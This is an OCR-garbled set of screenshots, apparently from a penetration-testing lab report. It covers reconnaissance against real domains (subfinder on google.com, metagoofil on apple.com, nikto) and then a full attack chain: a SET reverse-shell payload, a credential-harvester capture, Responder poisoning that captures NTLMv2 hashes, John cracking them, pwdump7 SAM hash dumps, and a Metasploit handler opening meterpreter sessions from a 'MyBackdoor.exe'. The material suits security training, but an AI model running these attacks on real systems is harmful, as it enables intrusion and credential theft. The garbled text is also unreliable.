NA 12053 Host Fully Qualified Domain Name (FQDN) Resolution
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Security Update for Microsoft Windows SMB Server (4...

Description
i remote Windows host s affected by the following vulnerabilties :

- Multiple remote code execution vulnerabilities exist in Microsoft Server Message Block 1.0 (SMBv1) due to
improper handling of certain requests. An unauthenticated, remote attacker can exploit these vulnerabiliies, via a
specially crafted packet, to execute arbitrary code. (CVE-2017-0143, CVE-2017-0144, CVE-2017-0145, CVE-2017-0145,
CVE-2017-0148)

- An information disclosure vulnerability exists in Microsoft Server Message Block 1.0 (SMBv1) due to improper
handling of certain requests. An unauthenticated, remote attacker can exploit this, via a specially crafted packet, to
disclose sensitive information. (CVE-2017-0147)

ETERNALBLUE, ETERNALCHAMPION, ETERNALROMANCE, and ETERNALSYNERGY are four of multiple Equation
Group vulnerabilities and exploits disclosed on 2017/04/14 by a group known as the Shadow Brokers. WannaCry /
WannaCrypt is a ransomware program utilizing the ETERNALBLUE exploit, and EternalRocks is a worm that utilizes
seven Equation Group vulnerabilities. Pety is a ransomware program that first utilizes CVE-2017-0199,
vulnerability in Microsoft Office, and then spreads via ETERNALBLUE.

Solution
Microsoft has released a set of patches for Windows Vista, 2008, 7, 2008 R2, 2012, 8.1, RT .1, 2012 R2, 10, and 2016.

Microsoft has also released emergency patches for Windows operating systems that are no longer supported,
including Windows XP, 2003, and 8.

For unsupported Windows operating systems, e.g. Windows XP. Microsoft recommends that users discontinue the
use of SMBv1. SMBv1 lacks security features that were included in later SMB versions. SMBv1 can be disabled by
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E(root@ kali)-[~]
4 subfinder —h
Usage of subfinder:
—cd
Upload results to the Chaos API (api-key required)
—config string
Configuration file for API Keys, etc (default "/root/.config/subFinder/config.yaml"

-d string
Domain to find subdomains for
-dL string

File containing list of domains to enumerate
-exclude-sources string
List of sources to exclude from enumeration
-ls
List all available sources
-max-time int
Minutes to wait for enumeration results (default 10)

-nc
Don't Use colors in output
-
Remove Wildcard & Dead Subdomains from output
-0 string
File to write output to (optional)
oD string
Directory to write enumeration results to (optional)
-or
Write output in Host,IP format
03
Write output in JSON lines Format
-r string
Comma-separated list of resolvers to use
-rL string
Text file containing list of resolvers to use
-silent

Show only subdomains in output
-sources string

Comma separated list of sources to use
-t int

Number of concurrent goroutines for resolving (default 10)
~timeout int

Seconds to wait before timing out (default 30
~v  Show Verbose output
-version

Show version of subfinder
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CIZI SSL Medium Strength Cipher Suites Supported (SWEET32) >

Description

The remote host supports the use of SSL ciphers that offer medium strength encryption. Nessus regards medium strength as any encryption
that uses key lengths at least 64 bits and less than 112 bits, or else that uses the 3DES encryption suite.

Note that tis considerably easier to circumvent medium strength encryption if the atacker is on the same physical network.

Solution

Reconfigure the affected application i possible to avoid use of medium strength ciphers.
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$ nikto -h http://wm.itsecgames.com ~Tuning x
- Nikto v2.1.6

+ Target Ip: 31.3.96.40
+ Target Hostname:  wmi.itsecgames.com

+ Target Port: 80

+ Start Time: 2022-12-09 16:26:42 (GMT0)

+ server: Apache

+ The anti-clickjacking X-Frame-Options header is not present.

+ The X-XsS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS

+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all’ to force check all possible dirs)

+ Uncommon header 'link’ found, with contents: <http://31.3.96.40/>; rel="canonical”,<http://31.3.96.40/>; rel="shortlink"

+ Uncommon header 'x-generator’ found, with contents: Drupal 7 (http://drupal.org)

+ Server may leak inodes via ETags, header found with file /, inode: ei3, size: 5d7959bd3c800, mtime: gzip

+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS

+ 0SVDB-3233: /icons/README: Apache default file found.

+ 7900 requests: 6 error(s) and 8 item(s) reported on remote host

+ End Time: 2022-12-09 16:33:56 (GMTO) (434 seconds)

+ 1 host(s) tested




image97.png
=% nikto -h http://wm.itsecgames.com -dbcheck

Syntax Check: /var/lib/nikto/databases/db_dir_traversal
1 entries

Syntax Check: /var/lib/nikto/databases/db_domino
274 entries

Syntax Check: /var/lib/nikto/databases/db_404_strings
39 entries

Syntax Check: /var/lib/nikto/databases/db_httpoptions
12 entries

Syntax Check: /var/lib/nikto/databases/db_parked_strings
8 entries

Syntax Check: /var/lib/nikto/databases/db_embedded
16 entries

Syntax Check: /var/lib/nikto/databases/db_headers
98 entries

Syntax Check: /var/lib/nikto/databases/db_server_msgs
261 entries

Syntax Check: /var/lib/nikto/databases/db_outdated
1254 entries

Syntax Check: /var/lib/nikto/databases/db_drupal
6244 entries

Syntax Check: /var/lib/nikto/databases/db_content_search
19 entries

Syntax Check: /var/lib/nikto/databases/db_variables
38 entries

Syntax Check: /var/lib/nikto/databases/db_realms
170 entries

Syntax Check: /var/lib/nikto/databases/db_favicon
358 entries

syntax Check: /var/lib/nikto/databases/db_multiple_index
36 entries

Syntax Check: /var/lib/nikto/databases/db_dictionary
1825 entries

Syntax Check: /var/lib/nikto/databases/db_tests
6897 entries

Checking plugins for duplicate test IDs

Some (probably) open IDs: 000029, 000137, 000326, 000407, 000427, 000429, 000430
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$ nikto -h http://wm.itsecgames.com ~list-plugins

Plugin: robots

Robots - Checks whether there's anything within the robots.txt file and analyses it for other paths
Written by Sullo, Copyright (C) 2008 Chris Sullo

options
nocheck: Flag to disable checking entries in robots file.

Plugin: tests
Nikto Tests - Test host with the standard Nikto tests
Written by Sullo, Tautology, Copyright (C) 2008 Chris Sullo
options:
tids: A range of testids that will only be run
report: Report a status after the passed number of tests
all: Flag to indicate whether to check all files with all directories
passfiles: Flag to indicate whether to check for common password files

Plugin: put_del_test
Put/Delete test - Attempts to upload and delete files through the PUT and DELETE HTTP methods.
Written by Sullo, Copyright (C) 2008 Chris Sullo

Plugin: sitefiles
Site Files - Look for interesting files based on the site's IP/name
written by sullo, Copyright (C) 2014 Chris Sullo

Plugin: report_html
Report as HTML - Produces an HTML report.
Written by Sullo/Jabra, Copyright (C) 2008 Chris Sullo

Plugin: dir_traversal
Directory Traversal - Check applications / servers for directory traversal vulnerabilities.
Written by RealRancor, Copyright (C) 2016 Chris Sullo

Plugin: msgs
Server Messages - Checks the server version against known issues.
written by Sullo, Copyright (C) 2008 Chris Sullo

to pass to other scripts.
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[C(root®kati)-[~]
-+ subfinder ~d google.com
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projectdiscovery.io

[WRN] Use with caution. You are responsible for your actions
[WRN] Developers assume no liability and are not responsible for any misuse or damage.
[WRN] By using subfinder, you also agree to the terms of the APIs used

[14F] Configuration file saved to /root/.config/subfinder/config.yaml
[14F] Enumerating subdomains for google.com
oielrc.drive.google.com
6908.drive.google.con
690579.drive.google. com

cla.developers. google. com

53458.drive. google. com
mail-ed1-fu7.google.com
playconsoleapps-pa. clients6.google. com
mail-pf1-f193.google. con
r4—sn-vggsknls.c.pack.google.con
r4.sn-vgasknls. c.pack.google. com
r2—sn-asmeknds.c.pack. google.con
r2.5n-asmeknds.. c.pack. google. com
r1—sn-aigzrne7.c.pack.google.con
r1.sn-aigzrne7.c.pack.google. com
mail-i11-176.google.con
splat-svr.hot.corp.google. com
uberproxy-san. cnsviewer-static.corp.google. com
cnsviewer-static-dev.corp.google.com
frame.ads-devel .qa.adz.google. com
test.devsite.corp.google. com
viceroy-ga.corp.google. com

printer. corp.google. com
tz.r.pron-qa.sandbox. google. con

manifest . 1h3-dc.photos2. sandbox.google. com
1h3-db. photos1. sandbox. google. com
pxecontrol. corp.google. com
proxyconfig-testing.corp.google. com
emergencylocator. corp. google. com
pxecontrol-test.corp.google.con
ca-service-gecc. corp.google. con
m.gutsdev.corp. google. com
Litespeed-proxy.corp.google. con
cnsviewer-static.corp.google. com
mail-i01-f48.google.com
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1) Spear-Phishing Attack Vectors
2) Website Attack Vectors

3) Infectious Media Generator

4) Create a Payload and Listener

5) Mass Mailer Attack

6) Arduino-Based Attack Vector

7) Wireless Access Point Attack Vector
8) QRCode Generator Attack Vector

9) Powershell Attack Vectors

10) Third Party Modules

99) Return back to the main menu.

set> 4

1) Windows Shell Reverse_TCP
ack to attacker

2) Windows Reverse TCP Meterpreter
nd back to attacker

3) Windows Reverse TCP VNC DLL
to attacker

4) Windows Shell Reverse_TCP X64
ine

5) Windows Meterpreter Reverse_TCP X64
1 Meterpreter

6) Windows Meterpreter Egress Buster
home via multiple ports

7) Windows Meterpreter Reverse HTTPS
nd use Meterpreter

8) Windows Meterpreter Reverse DNS
d use Reverse Meterpreter

9) Download/Run your Own Executable

payloads>8

Spawn a command shell on victim and send b
Spawn a meterpreter shell on victim and se
Spawn a VNC server on victim and send back
Windows X64 Command Shell, Reverse TCP Inl
Connect back to the attacker (Windows x64)
Spawn a meterpreter shell and find a port
Tunnel communication over HTTP using SSL a
Use a hostname instead of an IP address an

Downloads an executable and runs it

pavloads> IP address for the payload listener (LHOST):192.168.100.4
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POSSIBLE USERNAME FIELD FOUND: skip_api_login=
PARAM: signed_next=

PARAM:
PARAM:
PARAM: 331 j0xMjguLCI0Tj03MIASIMFITjoxMjgwL CInaCTENg1LCITTIoyNH
PARAM: 13259_bKj7

PARAM: 1gnjs=1671046386
POSSIBLE USERNAME FIELD FOUND
POSSIBLE PASSIORD FIELD FOUN
PARAM: prefill_contact_poin:
PARAM: prefill_source:
PARAM: prefill_typ:
PARAM: first prefill_source:
PARAM: first_prefill_typ:
PARAM: had_cp_prefilled-false
POSSIBLE PASSWORD FIELD FOUND: had_password_prefilled=false

PARAM: ab_test_data=AARAHGCO/HCCHAHACAAHOHAAAAOAAAARAAAAAHAA /3CFAAARAAWABE
[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.

email-Genericenailagmail. com
pass=password
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$ sudo metagoofil -d apple.com -t doc,pdf -i 200 -n 5 -0 targetfiles —f

[+] Adding -w for you

[*] Downloaded files will be saved here: targetfiles

[+] Searching for 100 .doc files and waiting 30.0 seconds between searches

[+] Downloading file - [76288 bytes] https://store.apple.com/Catalog/China/Inages/rejection_letter.doc

[+] Downloading file - [41472 bytes] https://store.apple.com/Catalog/us/Inages/ProofofAcademicIdentificationForm.
doc

[+] Downloading file
oods_return. doc

[+] Downloading file
nformation. doc

[+] Downloading file
alesdisc_pp.doc

[+] Searching for 100 .pdf files and waiting 30.0 seconds between searches

[-1 URL http://investor.apple.con/esg/2021 Apple_ESG_Report/ returned HTTP code 403

[+] Downloading file - [849810 bytes] https://developer.apple.con/streaming/GettingStartedWithHLSInterstitials.pd
£

[+] Downloading file - [379985 bytes] https://developer.apple.con/streaming/HLSContentSteeringSpecification.pdf
[+] Downloading file - [93626 bytes] https://developer.apple.con/licensing-trademarks/files/mac_logo_license_agre
ement..pdf

[+] Downloading file - [151847 bytes] https://developer.apple.con/bonjour/printing-specification/

[+] Total download: 1671876 bytes / 1632.69 KB / 1.59 M8

[+] Done!

[24576 bytes] http://storeimages.apple.con/6303/store.apple.con/Catalog/China/Inages/raf_g

[30720 bytes] http://storeimages.apple.con/6296/store.apple.con/Catalog/China/Inages/vat_i

[23552 bytes] http://storeimages.apple.con/6353/store.apple.con/Catalog/China/Inages/raf_s

[lati®kati)-[~]

$ sudo metagoofil -d itsecgames.com -t doc,pdf -i 200 -n 5 -o applefiles —f

[+] Adding -w for you

[*] Downloaded files will be saved here: applefiles

[+] Searching for 100 .doc files and waiting 30.0 seconds between searches

[-1 EXCEPTION: HTTP Error 429: Too Many Requests

[+] Google is blocking you for making too many requests. You will need to spread out the Google searches with me
tagoofil's switches or utilize SSH and dynamic SOCKS proxies. Don't know how to utilize SSH and dynamic SOCKS pr
oxies? Do yourself a favor and pick up a copy of The Cyber Plumber's Handbook and interactive lab (https://gumro
ad.con/1/cph_book_and_lab) to learn all about Secure Shell (SSH) tunneling, port redirection, and bending traffic
like a boss.

[*] Exiting for now...
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[WRN] Use with caution. You are responsible for your actions

[WRN] Developers assume no liability and are not responsible for any misuse or damage.

[WRN] By using subfinder, you also agree to the terms of the APIs used.

[14F] Enumerating subdomains for certifiedhacker.com
autodiscover. certifiedhacker.com
blog. certifiedhacker.com
cpanel.certifiedhacker. com
events. certifiedhacker. com
fleet. certifiedhacker.com

iam. certifiedhacker. com
itf.certifiedhacker.com
mail.certifiednacker.com

news . certifiedhacker.con
notifications.certifiedhacker.com
pstn.certifiedhacker.com
sftp.certifiedhacker.com
soc.certifiedhacker. com
trustcenter. certifiedhacker.com
webdisk. certifiedhacker.com
webnail.certifiedhacker.com
wa.blog. certifiedhacker. com

. certiFiedhacker. com

wa .events. certifiedhacker.con
w . fleet. certifiedhacker. com
. iam. certifiedhacker.com

. itf . certifiedhacker.com

i .news . certifiedhacker . com

i .notiFications. certifiedhacker.com
i .pstn. certifiedhacker. com
wai.5Ftp. certifiedhacker. com
. 50C . certifiedhacker.con

. trustcenter. certifiednacker. com
cpcontacts. certifiedhacker.com
cpcalendars. certifiedhacker. com
ww.certifiedhacker. com

-(kali® kali)-[~]
[

[ ~lcertifedhackeroutput.txt - Mousepad

File Edit Search View Document Help

DREMB®Cx S5cx@o

1w .notifications. certifiedhacker.com
2 wwn .pstn. certifiedhacker.con

3 cpeontacts. certifiedhacker. con

4 blog. certifiedhacker. con

5 soc. certifiedhacker..com

6 w. certifiedhacker. com

7 wa.news. certifiedhacker . com

8 autodiscover. certifiedhacker. com
9 trustcenter.certifiedhacker.com
10 cpanel. certifiedhacker. con
11 events. certifiedhacker. con
12 wm . trustcenter. certifiedhacker. con
13 fleet.certifiedhacker. con
14 iam. certifiedhacker. com
15 notifications. certifiedhacker.com
16 itf.certifiedhacker.com
17 news . certifiedhacker.con
18 cpcalendars. certifiedhacker. con
19 webdisk. certifiedhacker. com
20 wi. fleet. certifiedhacker. con
21 w . soc. certifiedhacker.con
22 wu. certifiedhacker.con
23 mail. certifiedhacker. con
24 webmail.certifiedhacker.con
25 wan.blog. certifiedhacker. con
26 w. itf . certifiedhacker.com
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(kali® kali)-[~]

s s s

[sudo] password for kali:

E(mmeka\i)—[/m/nli]
g

metagoofil
usage: metagoofil.py [-h] -d DOMAIN [-e DELAY] [-f] [-i URL_TIMEOUT] [-1 SEARCH_MAX] [-n DOWNLOAD_FILE_LIMIT] [-0 SAVE_DIRECTORY]

[-r NUMBER_OF THREADS] -t FILE TYPES [-u [USER AGENT1] [-w]
metagoofil.py: error: the following arguments are required: -d, -t

E(mmeka\i)—[/m/nli]
sudo metagoofil -d itsecgames.com -t doc,pdf -1 100 -n 5 -o applefiles —f
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metagoofil.py: error: the following arguments are required: -d,

E(nmeka\i)—[/no-e/kali]

. sudo metagoofil -d itsecgames.com -t doc,pdf -1 100 -n 5 -0 applefiles —f

[+] Adding -w for you

[*] Downloaded files will be saved here: applefiles

[*] Searching for 100 .doc files and waiting 30.0 seconds between searches

[*] Searching for 100 .pdf files and waiting 30.0 seconds between searches

[+] Downloading file - [5010042 bytes] http://wmi.itsecgames.com/downloads/bWAPP_intro.pdf
[+] Total download: 5010042 bytes / 4892.62 KB / 4.78 M8

[+] Done!

E(aome {1 )-[/home/kali]
i

- applefiles (x]
File Edit View Go Help
4+ = 4+ A ¢« Akali applefiles 7

Places
S| R

i kali
1 Deskiop bBWAPP_intro.pdf

@ Wastebasket
& Documents

1 Music
{0 Pictures

.8 MiB (5,010,042 bytes), Free space: 5.7 GiB
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sudo metagoofil -d apple.com -t doc,pdf -i 200 -n 5 -0 targetfiles -
[+] Adding -w for you
[*] Downloaded files will be saved here: targetfiles

[*] Searching for 100 .doc files and

[+] Downloading
[+] Downloading
doc

[+ Downloading
oods_return.doc
[+] Downloading
nformation. doc
[+] Downloading
alesdisc_pp.doc

file - [76288 bytes]

file

file

file

file

[41472 bytes]
[24576 bytes]
[30720 bytes]

[23552 bytes]

waiting 30.0 seconds between searches
https://store.apple.con/Catalog/China/Inages/rejection_Letter.doc

https://store.apple.con/Catalog/uUs/Inages/ProofofAcademicIdentificationForm.
http://storeimages.apple.con/6303/store.apple. con/Catalog/China/Inages/raf_g
http://storeimages.apple.con/6296/store. apple. con/Catalog/China/Inages/vat_i

http://storeimages.apple.con/6353/store.apple. con/Catalog/China/Inages/raf_s

[*] Searching for 100 .pdf files and waiting 30.0 seconds between searches
[-1 URL http://investor.apple.con/esg/2021_Apple_ESG_Report/ returned HTTP code 403
[+] Downloading file - [849810 bytes] https://developer.apple.com/streaming/GettingStartedWithHLSInterstitials.pd

£

[+] Downloading file - [379985 bytes] https://developer.apple.com/streaming/HLSContentSteeringSpecification.pdf
[+] Downloading file - [93626 bytes] https://developer.apple.com/licensing-trademarks/files/mac_logo_license_agre

ement..pdf

[+] Downloading file - [151847 bytes] https://developer.apple.com/bonjour/printing-specification/
[+] Total download: 1671876 bytes / 1632.69 KB / 1.59 M8

[+] Done!
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1pttps://store.apple.com/Catalog/US/Images/ProofofAcademicIdentificationForm.doc

2 https://store.apple.con/Catalog/China/Inages/rejection_letter.doc

//storeimages .apple.com/6296/store . apple. con/Catalog/China/Images/vat_information.doc
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8 https://opensource. apple.com/source/Security/Security-29774/doc/AppleTP_Spec.doc
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11 https: //opensource. apple. con/source/gnuzip/gnuzip-30/gzip/algorithm. doc

12 https: //opensource.apple. con/source/bootp/bootp-170/Documentation/BSDP. doc

13 https: //opensource. apple. con/source/gnuzip/gnuzip-28/gzip/algorithm. doc

14 https: //opensource.apple. con/source/freeradius/freeradius-25/freeradius/raddb/users

15 https: //opensource.apple. con/source/Security/Security-28992/doc/Supported_CSP_Algorithms.doc
16 https: //opensource.apple. con/source/bootp/bootp-198/Documentation/BSDP. doc

17 https: //opensource.apple. con/source/ncurses/ncurses-36/ncurses/doc/hackguide. doc

18 https: //opensource.apple. con/source/bootp/bootp-268.1/Documentation/BSDP. doc

19 https: //opensource. apple.com/source/initng/initng-12/initng/doc/initng.doc

20 https: //opensource.apple. con/source/bootp/bootp-254.1/Documentation/BSDP. doc

21 https: //opensource.apple. con/source/gcc/gcc-1435/tcl /mac/morefiles. doc

22 https: //opensource.apple. con/source/Security/Security-54.1.5/Docunentation/AppleTP_Spec.doc

23 https: //opensource.apple. con/source/cups/cups-297/cups/standards/pug5100. 7 .doc

24 https: //opensource.apple. con/source/cups/cups-136/cups/standards/pugs100. 3. doc

25 https: //opensource.apple. con/source/cups/cups-218.12/cups/standards/pug5105. 1. doc

26 https: //opensource.apple. con/source/cups/cups-218.1/cups/standards/pug5100.6.doc

27 https: //opensource.apple. con/source/cups/cups-218.9/cups/standards/pug5100.2..doc

28 https: //opensource.apple. con/source/cups/cups-218.26/cups/standards/pug5100.8. doc

29 https: //opensource.apple. con/source/cups/cups-218.1/cups/standards/pug5105.1.doc

30 https: //opensource.apple. con/source/passwordserver_sasl/passwordserver_sasl-12/cyrus_sasl/mac/libdes/src/des.doc
31 https: //opensource. apple. com/source/gdb/gdb-309/src/tcl /mac/bugs . doc

32 https: //opensource. apple. con/source/graphviz/graphviz-601/graphviz/graphs/directed/grammar. dot
// wa . opensource. apple . con/source/tcl/tcl-87/tcl_ext/tkimg/tkimg/libjpeg/Libjpeg.doc

37 https: //developer.apple.con/licensing-trademarks/files/mac_logo_license_agreement.pdf
38 https: //developer.apple.con/bonjour/printing-specification/

39 https: //developer.apple.con/streaming/GettingStartedwithHLSInterstitials. pdf

40 https: //developer.apple.con/streaming/HLSContentSteeringSpecification. pdf

41 https: //salesresources.apple.con/pdf/Ciscocustomerprofile. pdf

12 https: //wwi.apple. con/privacy/parentaldisclosureconsent . pdf

43 https: //wmi .apple. con/jp/support/cip/pdfs/battery_pmgimdd. j .pdf

44 https: //itunespartner.apple. con/assets/downloads/Apps_Pricingschedule_April2017.pdf
45 https: //w.apple. con/accessibility/pdf/inovie_v10_mac_VPAT.pdf

46 NTEpS : //wn .
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[SME] NTLMv2-SSP Client fe80::77f6:ce52:481f:6af1

[SMB] NTLMv2-SSP Username : MicrosoftAccount\Admin

[SME] NTLMv2-SSP Hash i Admin :: MicrosoftAccount:10bc0934bd541ce6:3998157DEBIABAF7350369971F4AB22601010000000000000085989527 1AD901D2FEEIB7AICIEL0D
000000000200080037004E005A004E0001001E00570049004E00200037003700470032004D005400540034004F004C00350004003400570049004E002D0037003700470032004D00540054
0034004F004C0035002E0037004E005A004E002E004CO04F00430041004C000300140037004E005A004EQ02E0D4CO04FO0430041004C000500140037004EQ0SAD04EOD2E004CO04FO04300
41004C000700080000B59895271AD901060004000200000008003000300000000000000001000000002000000799302442E0747DE3863189C1BD717E4BA1DBABFA7 370EBCUDIETD2AEB2EF
220A001000000000000000000000000000000000000900140063006900660073002F0074006FO06F006C0073000000000000000000

[*] [MONS] Poisoned answer sent to 192.168.100.6 for name Windows-10.local

[*] [LLMNR] Poisoned answer sent to fe80::77f6:ce52:481f:6af1 for name Windows-:
[*] [LLMNR] Poisoned answer sent to 192.168.100.6 for name Windows-10

[*] [MDNS] Poisoned answer sent to fe80::77f6:ce52:481f:6af1 for name Windows-10.local
[*] [MDNS] Poisoned answer sent to 192.168.100.6 for name tools.local

[*] [MONS] Poisoned answer sent to fe80::77f6:ce52:481F:6af1 for name tools.local

[*] [LLMNR] Poisoned answer sent to fe0::77f6:ce52:481F:6af1 for name tools

[*] [MONS] Poisoned answer sent to 192.168.100.6 for name tools.local

[*] [MONS] Poisoned answer sent to fe80::77f6:ce52:481F:6af1 for name tools.local

[*] [LLUNR] Poisoned answer sent to fe0::77f6:ce52:481F:6af1 for name tools

[*] [LLMNR] Poisoned answer sent to 192.168.1(
[*] [LLMNR] Poisoned answer sent to 192.168.10
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[SMB] NTLMv2-SSP Client

[SMB] NTLMv2-SSP Username : MicrosoftAccount\Bob
[SHE] NTLMv2-SSP Hash Bob :: MicrosoftAccount : e13bfed6eae3781a: FAODIBEOF3F68A4BF7A681C35D742A8E :01010000000000000085989527 1AD90136EQ53FBSBACEIDI0D

0000000200080037004E005A004E0001001E00570049004E00200037003700470032004D005400540034004F004C00350004003400570049004E002D0037003700470032004D0054005400
34004F004C0035002E0037004E005A004E002E004C004F0430041004C000300140037004E005A004E002EQ04CO04F00430041004C000500140037004E005A004EQ02EO04CO04FO0430041
004C000700080000B59895271AD90106000400020000000800300030000000000000000100000000200000D7993D2442E0747DE3863189C1BD717E48A1DBABFA7 370EBC4DIETD2AEB2EF22
0A001000000000000000000000000000000000000900140063006900660073002F0074006F006F006CA073000000000000000000
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7776:ce52:481f:6af1 for name tools

L*] LLLMNR] Polsoned answer sent to fe3t
[SME] NTLMv2-SSP Client
[SME] NTLMv2-SSP Username
[SME] NTLMv2-SSP Hash

77f6:ce52:481F:6af1 for name Windows-10

[*] [LLMNR] Poisoned answer sent to fes0:
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[lati®kati)-[~]
$ subfinder -dL certifiedhacker.com -ls

ST I 707
A A

T N N

N

projectdiscovery.io

[WRN] Use with caution. You are responsible for your actions
[WRN] Developers assume no liability and are not responsible for any misuse or damage.
[WRN] By using subfinder, you also agree to the terms of the APIs used.

[1NF] Current list of available sources. [29]
[14F] Sources marked with an * needs key or token in order to work.
[14F] You can modify /home/kali/.config/subfinder/config.yaml to configure your keys / tokens.

alienvault
archiveis
binaryedge *
bufferover
censys
certspotter
certspotterold
commoncrawl
crtsh
dnsdumpster
dnsdb *
entrust

github *
hackertarget
ipvainfo
intelx
passivetotal
rapiddns
securitytrails *
shodan *
sitedossier
spyse *
sublistar
threatcrowd
threatminer
urlscan *
virustotal *
waybackarchive
zoomeye
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o opherack
*® » & v ¥ @ & os
Load _ Delete Save _ Tables Crack Help Exit ‘About

Progress  Statistics ~Preferences

User - LMHash NT Hash LMPwd1  LMPwd2 NT Pwd
666D66FS... . notfound  notfound  notfound
9EEETBIES... notfound  notfound  notfound
FAOD1BEO... notfound  notfound  notfound

Preload Progress.
100% in RAM - I
100% in RAM - [—
100% in RAM - I—

Preload: done Brute force: done Pwd found: VE) Time elapsed:  Oh 6m 44s.
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i s o

5 john SMB-NTLMv2-SSP-fe80:: 77f6: ce52:481F:6af1. txt

Using default input encoding: UTF-8

Loaded 54 password hashes with 47 different salts (1.1x same-salt boost) (netntlmv2, NTLMv2 C/R [MD4 HMAC-MDS 32/641)
Will run 6 OpenMP threads

Proceeding with single, rules:single

Press 'q’ or Ctrl-C to abort, almost any other key for status

Almost done: Processing the remaining buffered candidate passwords, if any.

Proceeding with wordlist:/usr/share/john/password.1st

password (Bob)
password (kali)
password (kali)
password (Admin)
password (Admin)

Proceeding with incremental:ASCIT
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SAFE

https://www.bookofnetwork.com/

Norton Rating © swere B0

Norton Safe Web has analyzed
https:/ /www.bookofnetwork.com/ for safety and security
problems.

The Nortan rating is a result of NortonLifeLock's automated analysis
system. Learn more.

The opinions of our users are refiected separately in the community rating

on the right.

Current Category

* Technology/Internet

Community Reviews (0)
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Norton Rating © sware B0

Norton Safe Web has analyzed
https:/ /www.softpedia.com/g... for safety and security
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The Nortan rating is a result of NortonLifeLock's automated analysis
system. Learn more.

The opinions of our users are refiected separately in the community rating
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on the right.
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Community Reviews (0)
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C:\Users\W1BAC>cd \

\>cd windous\systen32

Windows\System32>umic useraccount get name,sid

me. SID
e 5-1-5-21-404914464- 2550767462 - 3517482796500
DefaultAccount 5-1-5-21-464914464- 2550767462 - 3517482796563
Guest 5-1-5-21-464914464- 2550767462 - 3517482796561
16AC 5-1-5-21-464914464-2550767462-3517482796-1061
IDAGUTilityAccount —S-1-5-21-464914464-2550767462-3517482796-504.

Windows\System32>cd \Users\W10AC\Desktop\pudump?

C: \Users \H16AC\Desktop\pudump7>pudump?
Pudump v7.1 - raw password extractor
uthor: Andres Tarasco Acuna

url: http://wwm.514.es

UNABLE TO OPEN DEVICE?
error reading system registry file C:\Windows\SYSTEM32\CONFIG\SYSTEM
error while setting pointer on device: 6

error opening sam hive or not valid file("C:\Windows\SYSTEM32\CONFIG\SAH")
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:\Windows\system32>umic useraccount get name,sid

SID
iministrator $-1-5-21-464914464 2559767462 -3517482796-500
FaultAccount $-1-5-21-404914464 2550707462 3517482796503
$-1-5-21-404914464 2550707462 -3517482796-501
$-1-5-21-464914464 2559767462 -3517482796-1001

ilityAccount S-1-5-21-404914464-2550767462-3517482796-504.

:\Windows\system32>,
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Adninistrator:560:8A9D162FFC61116FAOB7BCCOB784B34F :A1742A21BFAFI995ES206BAC312CS0C:
Guest :501: E0676D29E433E1D27A98290COPE2FAFO: A734D1EA3FECBE67682AE3FB1048023F
03 : 688C1844CDA4B4BB26BCF 3CB23992A4F 1 : 1898DES6ABFASBE3731FAD7 3FBCOBCAD
04 : EGEEB8SEOAFBCCOA7C8557856AD3757 :A7181913CDB2CO1FFDA7EAEBAAEBED2A
/10AC: 1001 : 276E9951D3A20005C2ESACT EDABOF 800 : ECCA4BB5212FAED53A33F 4415605841,

:\Users\W18AC\Desktop\pwdump7>
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@ Indexof /share x  +

< C A Notsecure | 192.168.100.5/share/

Index of /share
N

Name Last modified ~ Size Description

& Parent Directory -
MyBackdoor.exe 2022-12-29 18:40 72K
expliestexe  2022-12-2915:53 12K

Apache/2.4.54 (Debian) Server at 192.168.100.5 Port 80
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msf6 > use multi/handler
[+] Using configured payload generic/shell_reverse_tcp

msf6 exploit(y ' iaiilor) > set payload windows/meterpreter/reverse_tcp
payload = windows/meterpreter/reverse_tcp

msf6 exploit(iilt /iandlor) > set LHOST 192.168.100.5
LHOST = 192.168.100.5

msf6 exploit(ii /iandler) > set LPORT 4k

LPORT = 444

msf6 exploit(niiti/handlor) > exploit

[+] Started reverse TCP handler on 192.168.100.5:444
[+] Sending stage (175686 bytes) to 192.168.100.6

[*] Meterpreter session 1 opened (192.168.100.5:444 — 192.168.100.6:51123) at 2022-12-30 19:03:04 +
0000

neterpreter > i
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meterpreter > sessions -i 1
Usage: sessions <id>

Interact with a different session Id.
This works the same as calling this from the MSF shell: sessions -i <session id>

meterpreter > sysinfo

Computer wio
os Windows 10 (10.0 Build 19045).
Architecture x64

System Language : en_GB

Domain WORKGROUP.

Logged On Users : 2

Meterpreter x86/windous

neterpreter > If
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TightVNC: w10
x  +

C A Notsecure | 192.168.100.5/sh

Index of /share

20221229 18:40 2K
20221229 15:53 72K

Apache/2.4.54 (Debian) Server at 102.168.100.5 Port 80

© Windows Security

12:10

S0c A B b
O Type here to search 10°C OB yny B
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~ Today (4)
] MyBackdoor.eve 0120 1035
[ exphestexe | Open
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8 ca_setup.exe| @ Sharewith Skype

 Last month (| Toubleshoot compatibilty
Pinto Start

@ Moveto OneDrive
/ Earlier this Y& £ scan with Microsoft Defender.
& Share
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Active sessions

Id Name Type Information Connection
3 meterpreter x86/windows WIO\WIOAC @ W10 192.168.100.5:4444 —> 192.168.100.6:51199 (192.168.100.6
)

msf6 exploit(i 1 /ionilor) > sessions -i 3
[+] Starting interaction with 3...

meterpreter > sysinfo

Computer : wio

[ Windows 10 (10.0 Build 19045).
Architecture x64

System Language : en_GB

Domain WORKGROUP

Logged On Users : 2

Meterpreter x86/windous

meterpreter > ipconfig

Interface 1

Software Loopback Interface 1
00:00:00:00:00:00

4294967295

127.0.0.1

255.0.0.0

1Py Address
1Pv4 Netmask
1pv6 Address
1Pv6 Netmask :

Interface 11

Intel(R) PRO/1000 MT Desktop Adapter
08:00:27:¢7:25:44
1500

192.168.100.6
: 255.255.255.0

1P Address
P4 Netmask

neterpreter > Il
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meterpreter > getuid
Server username: W10\W10AC

neterpreter >
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meterpreter > pwd
C:\Users\W10AC\Downloads

neteroreter >
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meterpreter > Ls
Listing: C:\Users\W10AC\Downloads

Mode size Type Last modified Name

100777/ruxruxrux 73802 fil  2022-12-30 19:35:00 +0000 MyBackdoor.exe
100777/ruxruxrux 915128 fil = 2022-12-30 1 40000 WinPcap_4_1 3.exe
100777/ruxruxrux 78685424 fil ~ 2022-11-02 1 40000 Wireshark-win64-4.0.1.exe
100777/ruxruxrux 8244106  fil  2022-12-30 1 +0000 ca_setup.exe

